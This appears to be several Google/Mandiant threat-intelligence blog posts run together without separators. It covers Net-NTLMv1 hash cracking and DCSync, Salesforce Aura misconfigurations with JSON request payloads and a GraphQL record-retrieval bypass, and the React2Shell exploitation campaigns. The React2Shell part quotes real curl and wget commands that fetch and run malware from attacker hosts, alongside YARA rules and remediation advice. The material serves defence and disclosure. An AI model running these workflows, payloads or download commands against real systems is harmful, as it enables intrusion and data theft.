The unsorted dataset can be downloaded using gsutil -m cp -r gs://net-ntlmv1-tables/tables . or through the Google Cloud Research Dataset portal. 

The SHA512 hashes of the tables can be checked by first downloading the checksums gsutil -m cp gs://net-ntlmv1-tables/tables.sha512 . then checked by sha512sum -c tables.sha512. The password cracking community has already created derivative work and is also hosting the ready to use tables.

Use of the Tables

Once a Net-NTLMv1 hash has been obtained, the tables can be used with historical or modern reinventions of rainbow table searching software such as rainbowcrack (rcrack), or RainbowCrack-NG on central processing units (CPUs) or a fork of rainbowcrackalack on graphics processing units (GPUs). The Net-NTLMv1 hash needs to be preprocessed to the DES components using ntlmv1-multi as shown in the next section.

Obtaining a Net-NTLMv1 Hash

Most attackers will use Responder with the --lm and --disable-ess flags and set the authentication to a static value of 1122334455667788 to only allow for connections with Net-NTLMv1 as a possibility. Attackers can then wait for incoming connections or coerce authentication using a tool such as PetitPotam or DFSCoerce to generate incoming connections from DCs or lower privilege hosts that are useful for objective completion. Responses can be cracked to retrieve password hashes of either users or computer machine accounts. A sample workflow for an attacker is shown below in Figure 1, Figure 2, and Figure 3.

Figure 4 illustrates the processing of the Net-NTLMv1 hash to the DES ciphertexts.

An attacker then takes the split-out ciphertexts to crack the keys used based on the known plaintext of 1122334455667788 with the steps of loading the tables shown in Figure 5 and cracking results in Figure 6 and Figure 7.

An attacker can then calculate the last remaining key with ntlmv1-multi once again, or look it up with twobytes, to recreate the full NT hash for the DC account with the last key part shown in Figure 8.

The result can be checked with hashcat's NT hash shucking mode, -m 27000, as shown in Figure 9.

An attacker can then use the hash to perform a DCSync attack targeting a DC and authenticating as the now compromised machine account. The attack flow uses secretsdump.py from the Impacket toolsuite and is shown in Figure 10.

Remediation

Organizations should immediately disable the use of Net-NTLMv1. 

Local Computer Policy

"Local Security Settings" > "Local Policies" > "Security Options" > “Network security: LAN Manager authentication level" > "Send NTLMv2 response only".

Group Policy

"Computer Configuration" > "Policies" > "Windows Settings" > "Security Settings" > "Local Policies" > "Security Options" > "Network Security: LAN Manager authentication level" > "Send NTLMv2 response only"

As these are local to the computer configurations, attackers can and have set the configuration to a vulnerable state to then fix the configuration after their attacks have completed with local administrative access. Monitoring and alerting of when and where Net-NTLMv1 is used is needed in addition to catching these edge cases.

Filter Event Logs for Event ID 4624: "An Account was successfully logged on." > "Detailed Authentication Information" > "Authentication Package" > "Package Name (NTLM only)", if "LM" or "NTLMv1" is the value of this attribute, LAN Manager or Net-NTLMv1 was used.

Related Reading

This project was inspired by and referenced the following research published to blogs, social media, and code repositories.

• https://www.youtube.com/watch?v=gkPvZDcrLFk

• https://crack.sh/netntlm/

• https://hashcat.net/forum/thread-9009.html

• https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-capture/#capturing-and-cracking-net-ntlmv1ntlmv1-hashestokens

• https://en.hackndo.com/ntlm-relay/#stop-using-ntlmv1

• https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/

• https://trustedsec.com/blog/practical-attacks-against-ntlmv1

• https://github.com/NotMedic/NetNTLMtoSilverTicket

• https://x.com/jeffmcjunkin/status/1575515827880665088

• https://shuck.sh/get-shucking.php

Acknowledgements

Thank you to everyone who helped make this blog post possible, including but not limited to Chris King and Max Gruenberg.

Written by: Amine Ismail, Anirudha Kanodia

Introduction 

Mandiant is releasing AuraInspector, a new open-source tool designed to help defenders identify and audit access control misconfigurations within the Salesforce Aura framework.

Salesforce Experience Cloud is a foundational platform for many businesses, but Mandiant Offensive Security Services (OSS) frequently identifies misconfigurations that allow unauthorized users to access sensitive data including credit card numbers, identity documents, and health information. These access control gaps often go unnoticed until it is too late.

This post details the mechanics of these common misconfigurations and introduces a previously undocumented technique using GraphQL to bypass standard record retrieval limits. To help administrators secure their environments, we are releasing AuraInspector, a command-line tool that automates the detection of these exposures and provides actionable insights for remediation.

aside_block

<ListValue: [StructValue([('title', 'AuraInspector'), ('body', <wagtail.rich_text.RichText object at 0x7f5535dc1070>), ('btn_text', 'Get AuraInspector'), ('href', 'https://github.com/google/aura-inspector'), ('image', None)])]>

What Is Aura?

Aura is a framework used in Salesforce applications to create reusable, modular components. It is the foundational technology behind Salesforce's modern UI, known as Lightning Experience. Aura introduced a more modern, single-page application (SPA) model that is more responsive and provides a better user experience.

As with any object-relational database and developer framework, a key security challenge for Aura is ensuring that users can only access data they are authorized to see. More specifically, the Aura endpoint is used by the front-end to retrieve a variety of information from the backend system, including Object records stored in the database. The endpoint can usually be identified by navigating through an Experience Cloud application and examining the network requests.

To date, a real challenge for Salesforce administrators is that Salesforce objects sharing rules can be configured at multiple levels, complexifying the identification of potential misconfigurations. Consequently, the Aura endpoint is one of the most commonly targeted endpoints in Salesforce Experience Cloud applications.

The most interesting aspect of the Aura endpoint is its ability to invoke aura-enabled methods, depending on the privileges of the authenticated context. The message parameter of this endpoint can be used to invoke the said methods. Of particular interest is the getConfigData method, which returns a list of objects used in the backend Salesforce database. The following is the syntax used to call this specific method.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}

An example of response is displayed in Figure 1.

Ways to Retrieve Data Using Aura

Data Retrieval Using Aura

Certain components in a Salesforce Experience Cloud application will implicitly call certain Aura methods to retrieve records to populate the user interface. This is the case for the serviceComponent://ui.force.components.controllers.
lists.selectableListDataProvider.SelectableListDataProviderController/
ACTION$getItems Aura method. Note that these Aura methods are legitimate and do not pose a security risk by themselves; the risk arises when underlying permissions are misconfigured.

In a controlled test instance, Mandiant intentionally misconfigured access controls to grant guest (unauthenticated) users access to all records of the Account object. This is a common misconfiguration encountered during real-world engagements. An application would normally retrieve object records using the Aura or Lightning frameworks. One method is using getItems. Using this method with specific parameters, the application can retrieve records for a specific object the user has access to. An example of request and response using this method are shown in Figure 2.

However, there is a constraint to this typical approach. Salesforce only allows users to retrieve at most 2,000 records at a given time. Some objects may have several thousand records, limiting the number of records that could be retrieved using this approach. To demonstrate the full impact of a misconfiguration, it is often necessary to overcome this limit.

Testing revealed a sortBy parameter available on this method. This parameter is valuable because changing the sort order allows for the retrieval of additional records that were initially inaccessible due to the 2,000 record limit. Moreover, it is possible to obtain an ascending or descending sort order for any parameter by adding a - character in front of the field name. The following is an example of an Aura message that leverages the sortBy parameter.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"FUZZ","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false,"sortBy":"<ArbitraryField>"}}]}

The response where the Name field is sorted in descending order is displayed in Figure 3.

For built-in Salesforce objects, there are several fields that are available by default. For custom objects, in addition to custom fields, there are a few default fields such as CreatedBy and LastModifiedBy, which can be filtered on. Filtering on various fields facilitates the retrieval of a significantly larger number of records. Retrieving more records helps security researchers demonstrate the potential impact to Salesforce administrators.

Action Bulking

To optimize performance and minimize network traffic, the Salesforce Aura framework employs a mechanism known as "boxcar'ing". Instead of sending a separate HTTP request for every individual server-side action a user initiates, the framework queues these actions on the client-side. At the end of the event loop, it bundles multiple queued Aura actions into a single list, which is then sent to the server as part of a single POST request.

Without using this technique, retrieving records can require a significant number of requests, depending on the number of records and objects. In that regard, Salesforce allows up to 250 actions at a time in one request by using this technique. However, sending too many actions can quickly result in a Content-Length response that can prevent a successful request. As such, Mandiant recommends limiting requests to 100 actions per request. In the following example, two actions are bulked to retrieve records for both the UserFavorite objects and the ProcessInstanceNode object:

{"actions":[{"id":"UserFavorite","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"UserFavorite","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}},{"id":"ProcessInstanceNode","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ProcessInstanceNode","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}

This can be cumbersome to perform manually for many actions. This feature has been integrated into the AuraInspector tool to expedite the process of identifying misconfigured objects.

Record Lists

A lesser-known component is Salesforce's Record Lists. This component, as the name suggests, provides a list of records in the user interface associated with an object to which the user has access. While the access controls on objects still govern the records that can be viewed in the Record List, misconfigured access controls could allow users access to the Record List of an object.

Using the ui.force.components.controllers.lists.
listViewPickerDataProvider.ListViewPickerDataProviderController/
ACTION$getInitialListViews Aura method, it is possible to check if an object has an associating record list component attached to it. The Aura message would appear as follows:

{"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":{"scope":"FUZZ","maxMruResults":10,"maxAllResults":20},"storable":true}]}

If the response contains an array of list views, as shown in Figure 4, then a Record List is likely present.

This response means there is an associating Record List component to this object and it may be accessible. Simply navigating to /s/recordlist/<object>/Default will show the list of records, if access is permitted. An example of a Record List can be seen in Figure 5. The interface may also provide the ability to create or modify existing records.

Home URLs

Home URLs are URLs that can be browsed to directly. On multiple occasions, following these URLs led Mandiant researchers to administration or configuration panels for third-party modules installed on the Salesforce instance. They can be retrieved by authenticated users with the ui.communities.components.aura.components.communitySetup.cmc.
CMCAppController/ACTION$getAppBootstrapData Aura method as follows:

{"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.communities.components.aura.components.communitySetup.cmc.CMCAppController/ACTION$getAppBootstrapData","callingDescriptor":"UNKNOWN","params":{}}]}

In the returned JSON response, an object named apiNameToObjectHomeUrls contains the list of URLs. The next step is to browse to each URL, verify access, and assess whether the content should be accessible. It is a straightforward process that can lead to interesting findings. An example of usage is shown in Figure 6.

During a previous engagement, Mandiant identified a Spark instance administration dashboard accessible to any unauthenticated user via this method. The dashboard offered administrative features, as seen in Figure 7.

Using this technique, Salesforce administrators can identify pages that should not be accessible to unauthenticated or low-privilege users. Manually tracking down these pages can be cumbersome as some pages are automatically created when installing marketplace applications.

Self-Registration

Over the last few years, Salesforce has increased the default security on Guest accounts. As such, having an authenticated account is even more valuable as it might give access to records not accessible to unauthenticated users. One solution to prevent authenticated access to the instance is to prevent self-registration. Self-registration can easily be disabled by changing the instance's settings. However, Mandiant observed cases where the link to the self-registration page was removed from the login page, but self-registration itself was not disabled. Salesforce confirmed this issue has been resolved.

Aura methods that expose the self-registration status and URL are highly valuable from an adversary's perspective. The getIsSelfRegistrationEnabled and getSelfRegistrationUrl methods of the LoginFormController controller can be used as follows to retrieve this information:

{"actions":[{"id":"1","descriptor":"apex://applauncher.LoginFormController/ACTION$getIsSelfRegistrationEnabled","callingDescriptor":"UHNKNOWN"},{"id":"2","descriptor":"apex://applauncher.LoginFormController/ACTION$getSelfRegistrationUrl","callingDescriptor":"UHNKNOWN"}]}

By bulking the two methods, two responses are returned from the server. In Figure 8, self-registration is available as shown in the first response, and the URL is returned in the second response.

This removes the need to perform brute forcing to identify the self-registration page; one request is sufficient. The AuraInspector tool verifies whether self-registration is enabled and alerts the researcher. The goal is to help Salesforce administrators determine whether self-registration is enabled or not from an external perspective.

GraphQL: Going Beyond the 2,000 Records Limit

Salesforce provides a GraphQL API that can be used to easily retrieve records from objects that are accessible via the User Interface API from the Salesforce instance. The GraphQL API itself is well documented by Salesforce. However, there is no official documentation or research related to the GraphQL Aura controller.

This lack of documentation, however, does not prevent its use. After reviewing the REST API documentation, Mandiant constructed a valid request to retrieve information for the GraphQL Aura controller. Furthermore, this controller was available to unauthenticated users by default. Using GraphQL over the known methods offers multiple advantages:

• Standardized retrieval of records and information about objects

• Improved pagination, allowing for the retrieval of all records tied to an object

• Built-in introspection, which facilitates the retrieval of field names

• Support for mutations, which expedites the testing of write privileges on objects

From a data retrieval perspective, the key advantage is the ability to retrieve all records tied to an object without being limited to 2,000 records. Salesforce confirmed this is not a vulnerability; GraphQL respects the underlying object permissions and does not provide additional access as long as access to objects is properly configured. However, in the case of a misconfiguration, it helps attackers access any amount of records on the misconfigured objects. When using basic Aura controllers to retrieve records, the only way to retrieve more than 2,000 records is by using sorting filters, which does not always provide consistent results. Using the GraphQL controller enables the consistent retrieval of the maximum number of records possible. Other options to retrieve more than 2,000 records are the SOAP and REST APIs, but those are rarely accessible to non-privileged users.

One limitation of the GraphQL Controller is that it can only retrieve records for User Interface API (UIAPI) supported objects. As explained in the associated Salesforce GraphQL API documentation, this encompasses most objects as the "User Interface API supports all custom objects and external objects and many standard objects."

Since there is no documentation on the GraphQL Aura controller itself, the API documentation was used as a reference. The API documentation provides the following example to interact with the GraphQL API endpoint:

curl "https://{MyDomainName}[.my.salesforce.com/services/data/v64.0/graphql](https://.my.salesforce.com/services/data/v64.0/graphql)" \
  -X POST \
  -H "content-type: application/json" \
  -d '{
  "query": "query accounts { uiapi { query { Account { edges { node { Name { value } } } } } } }"
}

This example was then transposed to the GraphQL Aura controller. The following Aura message was found to work:

{"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Account+{edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

This provides the same capabilities as the GraphQL API without requiring API access. The endCursor, hasNextPage, and hasPreviousPage fields were added in the response to facilitate pagination. The requests and response can be seen in Figure 10.

The records would be returned with the fields queried and a pageInfo object containing the cursor. Using the cursor, it is possible to retrieve the next records. In the aforementioned example, only one record was retrieved for readability, but this can be done in batches of 2,000 records by setting the first parameter to 2000. The cursor can then be used as shown in Figure 11.

Here, the cursor is a Base64-encoded string indicating the latest record retrieved, so it can easily be built from scratch. With batches of 2,000 records, and to retrieve the items from 2,000 to 4,000, the message would be:

message={"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Contact(first:2000,after:\"djE6MTk5OQ==\"){edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

In the example, the cursor, set in the after parameter, is the base64 for v1:1999. It tells Salesforce to retrieve items after 1999. Queries can be much more complex, involving advanced filtering or join operations to search for specific records. Multiple objects can also be retrieved in one query. Though not covered in detail here, the GraphQL controller can also be used to update, create, and delete records by using mutation queries. This allows unauthenticated users to perform complex queries and operations without requiring API access.

Remediation

All of the issues described in this blogpost stem from misconfigurations, specifically on objects and fields. At a high level, Salesforce administrators should take the following steps to remediate these issues:

• Audit Guest User Permissions: Regularly review and apply the principle of least privilege to unauthenticated guest user profiles. Follow Salesforce security best practices for guest users object security. Ensure they only have read access to the specific objects and fields necessary for public-facing functionality.

• Secure Private Data for Authenticated Users: Review sharing rules and organization-wide defaults to ensure that authenticated users can only access records and objects they are explicitly granted permission to.

• Disable Self-Registration: If not required, disable the self-registration feature to prevent unauthorized account creation.

• Follow Salesforce Security Best Practices: Implement the security recommendations provided by Salesforce, including the use of their Security Health Check tool.

Salesforce offers a comprehensive Security Guide that details how to properly configure objects sharing rules, field security, logging, real-time event monitoring and more.

All-in-One Tool: AuraInspector

To aid in the discovery of these misconfigurations, Mandiant is releasing AuraInspector. This tool automates the techniques described in this post to help identify potential shortcomings. Mandiant also developed an internal version of the tool with capabilities to extract records; however, to avoid misuse, the data extraction capability is not implemented in the public release. The options and capabilities of the tool are shown in Figure 12.

The AuraInspector tool also attempts to automatically discover valuable contextual information, including:

• Aura Endpoint: Automatically identifying the Aura endpoint for further testing.

• Home and Record List URLs: Retrieving direct URLs to home pages and record lists, offering insights into the user's navigation paths and accessible data views.

• Self-Registration Status: Determining if self-registration is enabled and providing the self-registration URL when enabled.

All operations performed by the tool are strictly limited to reading data, ensuring that the targeted Salesforce instances are not impacted or modified. AuraInspector is available for download now.

Detecting Salesforce Instances

While Salesforce Experience Cloud applications often make obvious requests to the Aura endpoint, there are situations where an application's integration is more subtle. Mandiant often observes references to Salesforce Experience Cloud applications buried in large JavaScript files. It is recommended to look for references to Salesforce domains such as:

• *.vf.force.com

• *.my.salesforce-sites.com

• *.my.salesforce.com

The following is a simple Burp Suite Bcheck that can help identify those hidden references:

metadata:
    language: v2-beta
    name: "Hidden Salesforce app detected"
    description: "Salesforce app might be used by some functionality of the application"
    tags: "passive"
    author: "Mandiant"

given response then
    if ".my.site.com" in {latest.response} or ".vf.force.com" in {latest.response} or ".my.salesforce-sites.com" in {latest.response} or ".my.salesforce.com" in {latest.response} then
        report issue:
            severity: info
            confidence: certain
            detail: "Backend Salesforce app detected"
            remediation: "Validate whether the app belongs to the org and check for potential misconfigurations"
    end if

Note that this is a basic template that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

The following is a representative UDM query that can help identify events in Google SecOps associated with POST requests to the Aura endpoint for potential Salesforce instances:

target.url = /\/aura$/ AND 
network.http.response_code = 200 AND 
network.http.method = "POST"

Note that this is a basic UDM query that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

Mandiant Services

Mandiant Consulting can assist organizations in auditing their Salesforce environments and implementing robust access controls. Our experts can help identify misconfigurations, validate security postures, and ensure compliance with best practices to protect sensitive data.

Acknowledgements

This analysis would not have been possible without the assistance of the Mandiant Offensive Security Services (OSS) team. We also appreciate Salesforce for their collaboration and comprehensive documentation.

Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen

Introduction

On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka "React2Shell"), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

CVE-2025-55182 Overview

CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

• react-server-dom-webpack

• react-server-dom-parcel

• react-server-dom-turbopack

A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An example of a repository that started out wholly non-functional is this repository published by the GitHub user "ejpir", which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

Observed Exploitation Activity

Since exploitation of CVE-2025-55182 began, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting CVE-2025-55182.

China-Nexus Activity

As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

MINOCAT

GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory ($HOME/.systemd-utils), kill any processes named "ntpclient", download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user's shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom "NSS" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

SNOWLIGHT

In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using cURL or wget to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., reactcdn.windowserrorapis[.]com) to retrieve additional payloads masquerading as legitimate files.

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

Figure 1: cURL command executed to fetch SNOWLIGHT payload

COMPOOD

GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used wget to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor's motivations are currently unknown.

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

Figure 2: COMPOOD downloaded via wget and executed

COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

HISONIC

Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, "115e1fc47977812" to denote the start of the configuration and "725166234cf88gxx" to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

Figure 3: HISONIC markers denoting configuration

ANGRYREBEL.LINUX

Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (sshd) within the /etc/ directory, rather than its standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (history -c). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

Financially Motivated Activity

Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named "sex.sh," which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called "system-update-service."

GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

Outlook and Implications

After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

Recommendations

Organizations utilizing React or Next.js should take the following actions immediately:

1. Patch Immediately:

1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.

2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.

3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.

2. Deploy WAF Rules: Google has rolled out a Cloud Armor web application firewall (WAF) rule designed to detect and block exploitation attempts related to this vulnerability. We recommend deploying this rule as a temporary mitigation while your vulnerability management program patches and verifies all vulnerable instances.

3. Audit Dependencies: Determine if vulnerable React Server Components are included as a dependency in other applications within your environment.

4. Monitor Network Traffic: Review logs for outbound connections to the indicators of compromise (IOCs) listed below, particularly wget or cURL commands initiated by web server processes.

5. Hunt for Compromise: Look for the creation of hidden directories like $HOME/.systemd-utils, the unauthorized termination of processes such as ntpclient, and the injection of malicious execution logic into shell configuration files like $HOME/.bashrc.

Indicators of Compromise (IOCs)

To assist defenders in hunting for this activity, we have included IOCs for the threats described in this blog post. A broader subset of related indicators is available in a Google Threat Intelligence Collection of IOCs available for registered users.

YARA Rules

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %d\n"
		$telnet_str2 = "No login shell found at %s\n"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}

Introduction 

Despite extensive scrutiny and public reporting, commercial surveillance vendors continue to operate unimpeded. A prominent name continues to surface in the world of mercenary spyware, Intellexa. Known for its “Predator” spyware, the company was sanctioned by the US Government. New Google Threat Intelligence Group (GTIG) analysis shows that Intellexa is evading restrictions and thriving. 

Intellexa has adapted, evaded restrictions, and continues selling digital weapons to the highest bidders. Alongside research published by our colleagues from Recorded Future and Amnesty, this blog post will shed light on Intellexa’s recent activities, unveil the real-world impact of their surveillance tools, and detail the actions we are taking against this industry.

Continued Prolific Exploitation of Zero-Day Vulnerabilities 

Over the past several years, Intellexa has solidified its position as one of, if not the most, prolific spyware vendors exploiting zero-day vulnerabilities against mobile browsers. Despite the consistent efforts of security researchers and platform vendors to identify and patch these flaws, Intellexa repeatedly demonstrates an ability to procure or develop new zero-day exploits, quickly adapting and continuing operations for their customers.

